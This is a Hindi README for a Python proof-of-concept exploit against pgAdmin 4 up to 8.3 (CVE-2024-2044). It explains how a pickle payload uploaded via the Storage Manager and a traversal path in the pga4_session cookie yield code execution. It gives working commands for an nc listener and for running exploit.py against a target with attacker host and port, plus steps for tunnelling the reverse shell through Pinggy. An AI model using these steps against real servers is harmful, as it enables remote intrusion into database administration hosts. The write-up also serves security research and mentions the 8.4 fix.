
pgAdmin 4 (<=8.3) में CVE-2024-2044 का शोषण करने वाला Python PoC, जो प्रमाणित पथ ट्रैवर्सल और असुरक्षित pickle डीसेरिएलाइज़ेशन के माध्यम से रिमोट कोड एक्ज़ीक्यूशन और रिवर्स शेल प्राप्त करता है।
यह रिपॉजिटरी CVE-2024-2044 के लिए Proof of Concept (PoC) स्क्रिप्ट प्रदान करती है, जो एक गंभीर भेद्यता है जो Linux/POSIX वातावरण में चल रहे pgAdmin 4 (संस्करण 8.3 और उससे नीचे) में Authenticated Path Traversal और Unsafe Deserialization को जोड़ती है।
[!WARNING] DISCLAIMER: यह कोड केवल शैक्षिक उद्देश्यों, सुरक्षा अनुसंधान, और अधिकृत पेनेट्रेशन परीक्षण (authorized pentesting) के लिए बनाया गया है। लिखित अनुमति के बिना लक्ष्य पर हमला करने के लिए इस कोड का दुरुपयोग अवैध और कानून का उल्लंघन करने वाला कार्य है।
Linux वातावरण में सर्वर मोड के साथ pgAdmin 4 में, सत्र प्रबंधन स्थानीय फ़ाइलों के रूप में संग्रहीत किया जाता है। भेद्यता इसलिए होती है क्योंकि फ़ंक्शन FileBackedSessionManager.get() HTTP कुकी pga4_session से मान प्राप्त करता है और पथ हेरफेर वर्णों (../) के सैनिटाइज़ेशन के बिना os.path.join का उपयोग करके इसे निर्देशिका पथ में जोड़ता है।
यह PoC स्क्रिप्ट निम्नलिखित प्रवाह के साथ इस खामी का फायदा उठाती है:
pickle ऑब्जेक्ट अपलोड करने के लिए अंतर्निहित Storage Manager उपयोगिता का उपयोग करता है जिसमें Reverse Shell कमांड होता है। यह फ़ाइल उपयोगकर्ता की संग्रहण निर्देशिका के अंतर्गत संग्रहीत की जाती है (उदाहरण: /storage/nama_user/)।pga4_session कुकी को अपलोड की गई pickle फ़ाइल के सापेक्ष पथ में हेरफेर करके /login पर HTTP अनुरोध वापस भेजता है (उदाहरण: ../storage/nama_user/file.pickle!)। ! चिह्न का उपयोग pgAdmin 4 में सत्र फ़ाइल एक्सटेंशन खोज के अनुरूप होने के लिए किया जाता है।pickle.loads() के साथ संसाधित करे। परिणामस्वरूप, पेलोड एक अलग (detached) Python प्रक्रिया निष्पादित करता है जो हमलावर को Reverse Shell भेजता है।requests लाइब्रेरी।nc -lvnp 4444
python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost <IP_ATTACKER> -lport 4444
यदि आपकी मशीन NAT/Router के पीछे है और सार्वजनिक tunnelling की आवश्यकता है, तो आप निम्नलिखित चरणों के साथ Pinggy.io सेवा का उपयोग कर सकते हैं:
अपनी पसंद के पोर्ट का उपयोग करके पहले स्थानीय मशीन पर nc चालू करें (उदाहरण: पोर्ट 1337):
nc -lvnp 1337
एक नया टर्मिनल खोलें, फिर Pinggy SSH कमांड चलाएँ। सुनिश्चित करें कि अंत में स्थानीय पोर्ट (1337) उस nc पोर्ट से मेल खाता है जिसे आपने पहले चालू किया था:
ssh -p 443 -R0:localhost:1337 [email protected]
कनेक्ट होने के बाद, Pinggy एक सार्वजनिक TCP URL प्रदान करेगा, उदाहरण के लिए:
tcp://ubylm-103-79-246-198.run.pinggy-free.link:43143

नोट: Pinggy से प्राप्त सार्वजनिक पोर्ट 43143 है (यह बाद में -lport बनेगा)।
लक्ष्य pgAdmin 4 सर्वर को reverse shell सॉकेट कनेक्शन के लिए असली IP पते के प्रारूप की आवश्यकता होती है। अपने Pinggy URL के डोमेन पर nslookup करें:
nslookup ubylm-103-79-246-198.run.pinggy-free.link
आउटपुट Pinggy सर्वर का सार्वजनिक IP दिखाएगा (सबसे ऊपर के Address भाग में IPv4 चुनें):
Non-authoritative answer:
ubylm-103-79-246-198.run.pinggy-free.link canonical name = lin.ap.12.a.pinggy.click.
Name: lin.ap.12.a.pinggy.click
Address: 172.236.148.125
उपरोक्त आउटपुट से, Pinggy का असली IP प्राप्त होता है: 172.236.148.125।

nslookup के परिणामस्वरूप प्राप्त IP को -lhost के रूप में और Pinggy के सार्वजनिक पोर्ट को -lport के रूप में दर्ज करके PoC स्क्रिप्ट चलाएँ:
python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost 172.236.148.125 -lport 43143


-t, --target : लक्ष्य pgAdmin 4 URL (अनिवार्य)।-u, --username: लॉगिन Email/Username (डिफ़ॉल्ट: [email protected])।-p, --password: लॉगिन Password (डिफ़ॉल्ट: player123)।-lhost : हमलावर का IP Address / Pinggy nslookup परिणाम IP (अनिवार्य)।-lport : हमलावर का listener पोर्ट / Pinggy सार्वजनिक पोर्ट (अनिवार्य)।यह भेद्यता pgAdmin 4 संस्करण 8.4 में ठीक कर दी गई है। यदि आप एक संवेदनशील सर्वर का प्रबंधन करते हैं, तो तुरंत निम्नलिखित कार्रवाई करें: